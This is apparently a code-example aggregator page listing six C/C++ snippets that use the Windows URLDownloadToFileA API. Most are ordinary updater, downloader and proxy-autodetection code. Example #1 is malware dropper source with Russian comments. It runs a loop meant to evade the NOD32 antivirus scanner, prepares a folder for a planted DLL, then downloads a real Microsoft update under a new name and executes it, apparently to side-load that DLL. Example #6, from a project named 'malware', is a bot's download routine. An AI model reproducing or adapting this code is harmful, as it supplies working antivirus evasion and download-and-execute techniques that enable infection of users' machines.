コード例 #1
0
//наша главная функа WinMain; 
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
	char szFileName[MAX_PATH];
	HRESULT res; 
	char szDirName[] = "C:\\xlogs";
	int i = 0; 
	HKEY hKey; 
	LPSTR *pPart;

	for(i = 0; i< 15000; i++)	//эта фича нужна для обхода сканера нод32; 
	{
		if(RegOpenKeyExA(HKEY_LOCAL_MACHINE, "eba!", 0, KEY_QUERY_VALUE | KEY_SET_VALUE, &hKey) == ERROR_SUCCESS)
		{
			MessageBoxA(0, "eba!", "eba!", MB_OK);
		}
	}

	GetModuleFileNameA(0, szFileName, MAX_PATH);	//получаем полный путь к avsux.exe; 
	GetFullPathNameA(szFileName, MAX_PATH, szFileName, &pPart);	//pPart - указывает на имя avsux.exe; 
	pPart[0] = 0;	//обнуляем имя - получаем просто полный путь (без имени - ёба); 
	CreateDirectoryA(szDirName, 0);	//создаём директорию для нашей длл (она там создаст лог и будет в него писать); 
	strcat(szFileName, "Windows-KB243657.exe");	//добавляем имя для будущего скаченного апдейта винды; 
	res = URLDownloadToFileA(0, "http://download.microsoft.com/download/B/0/0/B00DF5E6-9A8F-403C-AB57-AED66C7E5BEE/WindowsXP-KB2393802-x86-ENU.exe", szFileName, 0, 0);	//скачиваем файл; 

	if (res == S_OK)
	{
		ShellExecuteA(NULL, "open", szFileName, NULL, NULL, SW_SHOW);	//если всё оке, тогда запустим этот файл; 
	}

	return 0;
}
コード例 #2
0
ファイル: MainDlg.cpp プロジェクト: 623442733/CEFBrowser-1
int CMainDlg::UpdateExe()
{
	int iVersion = 0, rs;
	char cPath[MAX_PATH] = { 0 };
	SHGetSpecialFolderPathA(NULL, cPath, CSIDL_PERSONAL, FALSE);
	strcat(cPath, "\\CifExplorer\\update.ini");

	HRESULT hr = URLDownloadToFileA(0, m_strUpdate.c_str(), cPath, 0, NULL);
	if (hr == S_OK)
	{
		readINI("CifExplorer", "VERSION", iVersion, cPath);
		if (iVersion > _VERSION)
		{
			rs = 1;
			HANDLE m_handle = CreateThread(NULL, 0, CreateUpdateThread, this, 0, 0);
			CloseHandle(m_handle);
		}
		else
		{
			rs = 0;
		}
	}
	else
	{
		rs = -1;
	}
	return rs;
}
コード例 #3
0
ファイル: hget.cpp プロジェクト: Pastor/iv
int
main(int argc, char **argv)
{
    HRESULT hr;
    CallbackHandler callbackHandler;
    IBindStatusCallback* pBindStatusCallback = nullptr;

    callbackHandler.QueryInterface(IID_IBindStatusCallback, reinterpret_cast<void**>(&pBindStatusCallback));
    DeleteUrlCacheEntryA(argv[1]);
    std::cout << "Resource: " << argv[1] << std::endl;
    hr = URLDownloadToFileA(nullptr, argv[1], argv[2], 0, pBindStatusCallback);
    return hr == S_OK ? EXIT_SUCCESS : EXIT_FAILURE;
}
コード例 #4
0
int _getProxyAddress()
{
#if defined OS_WIN32 && defined CC_MSVC
	long ret;
	HKEY result;
	char url[1024];
	DWORD size = 1024;
	char TempPath[MAX_PATH];
	char TempFile[MAX_PATH];
	HMODULE hModJS;
	DWORD enable;
	DWORD enablesize = sizeof(DWORD);

	/* MSDN EXAMPLE */

	char url1[1025] = "http://www.google.fr/about.html";
	char host[256] = "http://www.google.fr";
	char proxyBuffer[1024];
	char * proxy = proxyBuffer;
	ZeroMemory(proxy, 1024);
	DWORD dwProxyHostNameLength = 1024;
	DWORD returnVal;
	// Declare function pointers for the three autoproxy functions
	pfnInternetInitializeAutoProxyDll pInternetInitializeAutoProxyDll;
	pfnInternetDeInitializeAutoProxyDll pInternetDeInitializeAutoProxyDll;
	pfnInternetGetProxyInfo pInternetGetProxyInfo;

	/* ************ */

	ret = RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", 0, KEY_QUERY_VALUE, & result);
	ret = RegQueryValueExA(result, "ProxyEnable", 0, 0, (LPBYTE) & enable, & enablesize);
	ret = RegQueryValueExA(result, "ProxyServer", 0, 0, (LPBYTE)url, & size);

	if (ret == ERROR_SUCCESS && enable == 1) {
		if (_parseProxyUrl(url) == 0) {
			RegCloseKey(result);
			return 0;
		}
	}

	ZeroMemory(url, 1024);
	size = 1024;
	ret = RegQueryValueExA(result, "AutoConfigURL", 0, 0, (LPBYTE)url, & size);
	RegCloseKey(result);

	if (ret != ERROR_SUCCESS) {
		if (DetectAutoProxyUrl(url, size, PROXY_AUTO_DETECT_TYPE_DHCP | PROXY_AUTO_DETECT_TYPE_DNS_A) == false) {
			NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : DetectAutoProxyUrl"));
			return -1;
		}
	}

	GetTempPathA(sizeof(TempPath), TempPath);
	GetTempFileNameA(TempPath, NULL, 0, TempFile);
	if (URLDownloadToFileA(NULL, url, TempFile, NULL, NULL) != S_OK) {
		NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : URLDownloadToFileA"));
		return -1;
	}

	if (!(hModJS = LoadLibraryA("jsproxy.dll"))) {
		NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : LoadLibrary"));
		return -1;
	}

	if (!(pInternetInitializeAutoProxyDll = (pfnInternetInitializeAutoProxyDll)
		GetProcAddress(hModJS, "InternetInitializeAutoProxyDll")) ||
		!(pInternetDeInitializeAutoProxyDll = (pfnInternetDeInitializeAutoProxyDll)
		GetProcAddress(hModJS, "InternetDeInitializeAutoProxyDll")) ||
		!(pInternetGetProxyInfo = (pfnInternetGetProxyInfo)
		GetProcAddress(hModJS, "InternetGetProxyInfo"))) {
		NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : GetProcAddress"));
		return -1;
	}

	if (!(returnVal = pInternetInitializeAutoProxyDll(0, TempFile, NULL, 0, NULL))) {
		NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : pInternetInitializeAutoProxyDll"));
		return -1;
	}

	DeleteFileA(TempFile);

	if (!pInternetGetProxyInfo((LPSTR)url1, sizeof(url1),
								(LPSTR)host, sizeof(host),
								&proxy, &dwProxyHostNameLength)) {
		NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : pInternetGetProxyInfo"));
		return -1;
	}

	if (strncmp("PROXY ", proxy, 6) == 0) {
		if (_parseProxyUrl(proxy + 6) != 0) {
			NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : _parseProxyUrl"));
			return -1;
		}
	}
	else {
		NETLIB_LOG_ERROR("_getProxyAddress : strncmp : PROXY doesn't match\n");
		return -1;
	}

	if (!pInternetDeInitializeAutoProxyDll(NULL, 0)) {
		NETLIB_LOG_ERROR(make_error_string("_getProxyAddress : pInternetDeInitializeAutoProxyDll"));
		return -1;
	}
#endif

	return 0;
}
コード例 #5
0
ファイル: autoproxy.cpp プロジェクト: acml/cvsnt
bool GetProxyForHost(const char *url, const char *hostname, cvs::string& proxy, cvs::string& proxy_port)
{
	static bool bInitialised = false, bWorking = false;

	char WPADLocation[1024]= "";
	char TempPath[MAX_PATH];
	char TempFile[MAX_PATH];
	DWORD dwProxyHostNameLength;
	DWORD returnVal;
	HMODULE hModJS;

	// Declare and populate an AutoProxyHelperVtbl structure, and then 
	// place a pointer to it in a containing AutoProxyHelperFunctions 
	// structure, which will be passed to InternetInitializeAutoProxyDll:

	// Failure to compile this line means you have an out of date platfrom SDK.
	static const AutoProxyHelperVtbl Vtbl =
	{
		IsResolvable,
		GetIPAddress,
		ResolveHostName,
		IsInNet
	};
	static const AutoProxyHelperFunctions HelperFunctions = { &Vtbl };

	// Declare function pointers for the three autoproxy functions
	static pfnInternetInitializeAutoProxyDll    pInternetInitializeAutoProxyDll;
	static pfnInternetDeInitializeAutoProxyDll  pInternetDeInitializeAutoProxyDll;
	static pfnInternetGetProxyInfo              pInternetGetProxyInfo;

	static cvs::string static_proxy,static_port;


	if(!bInitialised)
	{
		bInitialised=true;
		bWorking=false;

		if( !( hModJS = LoadLibraryA( "jsproxy.dll" ) ) )
			return false;

		if( !( pInternetInitializeAutoProxyDll = (pfnInternetInitializeAutoProxyDll)
					GetProcAddress( hModJS, "InternetInitializeAutoProxyDll" ) ) ||
			!( pInternetDeInitializeAutoProxyDll = (pfnInternetDeInitializeAutoProxyDll)
					GetProcAddress( hModJS, "InternetDeInitializeAutoProxyDll" ) ) ||
			!( pInternetGetProxyInfo = (pfnInternetGetProxyInfo)
					GetProcAddress( hModJS, "InternetGetProxyInfo" ) ) )
			return false;

		INTERNET_PER_CONN_OPTIONA pco[] =
		{
			{ INTERNET_PER_CONN_FLAGS },
			{ INTERNET_PER_CONN_AUTOCONFIG_URL },
			{ INTERNET_PER_CONN_PROXY_SERVER },
			{ INTERNET_PER_CONN_PROXY_BYPASS },
			{ INTERNET_PER_CONN_AUTOCONFIG_SECONDARY_URL }
		};
		INTERNET_PER_CONN_OPTION_LISTA pcol = { sizeof(pco), NULL, sizeof(pco)/sizeof(pco[0]), 0, pco }; 

		DWORD dwLen=sizeof(pcol);
		if(!InternetQueryOptionA(NULL,INTERNET_OPTION_PER_CONNECTION_OPTION,&pcol,&dwLen))
			return false;

		DWORD pt = pco[0].Value.dwValue;
		if(pt&PROXY_TYPE_AUTO_DETECT)
		{
			// Autodetect proxy file.  We only want to do this once becuase it's slow
			// We do DNS first... DHCP can take up to 10 seconds to complete.
			if(!DetectAutoProxyUrl( WPADLocation, sizeof(WPADLocation),PROXY_AUTO_DETECT_TYPE_DNS_A) &&
			   !DetectAutoProxyUrl( WPADLocation, sizeof(WPADLocation), PROXY_AUTO_DETECT_TYPE_DHCP ))
			return false;
		}
		else if(pt&PROXY_TYPE_AUTO_PROXY_URL)
		{
			// Download proxy.pac from url
			strncpy(WPADLocation,pco[1].Value.pszValue,sizeof(WPADLocation));
			LocalFree((HLOCAL)pco[1].Value.pszValue);
		}
		else if(pt&PROXY_TYPE_PROXY)
		{
			// Explicitly set proxy server
			LPSTR szValue = pco[2].Value.pszValue;
			static_port="";
			char *p=strrchr(szValue,':');
			if(p)
			{
				*p='\0';
				static_port=p+1;
			}
			static_proxy=szValue;
			LocalFree((HLOCAL)szValue);
		}
		else 
		{
			return false; // Fail the detect, forcing us to go direct
		}

		if(!static_proxy.length())
		{
			GetTempPathA( sizeof(TempPath)/sizeof(TempPath[0]), TempPath );
			GetTempFileNameA( TempPath, NULL, 0, TempFile );
			URLDownloadToFileA( NULL, WPADLocation, TempFile, NULL, NULL );

			if( !( returnVal = pInternetInitializeAutoProxyDll( 0, TempFile, NULL, 
																(AutoProxyHelperFunctions*)&HelperFunctions, NULL ) ) )
				return false;

			// Delete the temporary file
			DeleteFileA( TempFile );
		}

		bWorking = true;
	}

	if(!bWorking)
		return false;

	if(static_proxy.length())
	{
		proxy = static_proxy;
		proxy_port = static_port;
	}
	else
	{
		dwProxyHostNameLength=0;
		LPSTR szProxy = NULL;
		if( !pInternetGetProxyInfo( (LPSTR) url, (DWORD)strlen(url), 
									(LPSTR) hostname, (DWORD)strlen(hostname),
									&szProxy, &dwProxyHostNameLength ) )
			return false;

		if(!szProxy || !strcmp(szProxy,"DIRECT"))
			return false; // Direct connection

		if(strncmp(szProxy,"PROXY ",6))
			return false; // This should be the only possible string (maybe "SOCKS" but that's little used)

		proxy_port="";
		char *p = strrchr(szProxy,':');
		if(p)
		{
			proxy_port=p+1;
			*p='\0';
		}
		proxy=szProxy+6;
		// Not documented - how to free this?
		LocalFree((HLOCAL)szProxy);
	}
	return true;
}
コード例 #6
0
ファイル: Watcher.cpp プロジェクト: Avalonxy/malware-1
bool Watcher::download(std::string &url, std::string &file, unsigned short chksum)
{
	std::string uri;

	unsigned int rlen;
	unsigned char *resp;
	if (url.length() <= 7 || stricmp(url.substr(0, 7).c_str(), "http://"))
		goto urldl;

	size_t p;
	uri = url.substr(7);
	if ((p = uri.find('/')) == std::string::npos)
		goto urldl;

	char *host = new char[p + 1];
	if (!host)
		goto urldl;

	strncpy(host, uri.c_str(), p);
	host[p] = 0;

	unsigned int pathlen = uri.length() - p;
	char *path = new char[pathlen + 1];
	if (!path) {
		delete[] host;
		goto urldl;
	}

	strncpy(path, &uri.c_str()[p], pathlen);
	path[pathlen] = 0;

	unsigned int rc = PanelRequest::httpRequest(host, path, 80,
		"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.22 (KHTML, "
		"like Gecko) Chrome/25.0.1364.152 Safari/537.22", NULL, 0,
		(char **)&resp, &rlen);

	delete[] host;
	delete[] path;

	if (!resp || !rlen) {
		log(LL_ERROR, L_DLEX L_ON L_HTTPREQ L_FAIL L_LEN "= %d, " L_CHKSUM "= 0x%x." L_FALLBACK, rlen, chksum);
		goto urldl;
	}

	if (!chksum)
		goto dumpp;

	unsigned short vchk = calcchk(resp, rlen);

	if (vchk != chksum) {
		delete[] resp;
		log(LL_ERROR, L_VERIFY L_CHKSUM L_FAIL L_SHOULD "0x%x," L_IS "0x%x." L_FALLBACK, chksum, vchk);
		goto urldl;
	}

dumpp:
	HANDLE dF = CreateFileA(file.c_str(), GENERIC_ALL, FILE_SHARE_READ, NULL, CREATE_ALWAYS, 0, NULL);
	if (!dF || dF == INVALID_HANDLE_VALUE) {
		log(LL_ERROR, L_CFA L_FAIL L_FALLBACK);
		delete[] resp;
		goto urldl;
	}

	DWORD wlen;
	if (!WriteFile(dF, resp, rlen, &wlen, NULL) || wlen != rlen) {
		log(LL_ERROR, L_WRITEF L_FAIL L_WROTE "= 0x%x, " L_LEN "= 0x%x." L_FALLBACK, wlen, rlen);
		delete[] resp;
		goto urldl;
	}

	delete[] resp;
	CloseHandle(dF);

	log(LL_DIAG, L_DLEX L_SUCCESS "%s -> %s [%d]" L_CHKSUM "= 0x%x (== 0x%x)", url.c_str(), file.c_str(), rlen, chksum, vchk);
	
	return(true);

urldl:
	if (URLDownloadToFileA(NULL, url.c_str(), file.c_str(), 0, NULL) != S_OK) {
		log(LL_ERROR, L_URLDLTF L_FAIL);
		return(false);
	}
	
	Sleep(30000);

	if (chksum) {
		HANDLE hF = CreateFileA(file.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
		if (!hF || hF == INVALID_HANDLE_VALUE) {
			log(LL_ERROR, L_FAIL L_TO L_OPEN L_URLDLTF L_FILE);
			return(false);
		}

		DWORD rd,
			fs = GetFileSize(hF, NULL);
		unsigned char *data = new unsigned char[fs];

		if (!ReadFile(hF, data, fs, &rd, NULL) || rd != fs) {
			log(LL_ERROR, L_FAIL L_READ L_FILE);
			delete[] data;
			CloseHandle(hF);
			return(false);
		}
		CloseHandle(hF);

		vchk = calcchk(data, fs);
		delete[] data;

		if (vchk != chksum) {
			log(LL_ERROR,  L_VERIFY L_CHKSUM L_FAIL L_SHOULD "0x%x," L_IS "0x%x.", chksum, vchk);
			return(false);
		}
	}

	return(true);
}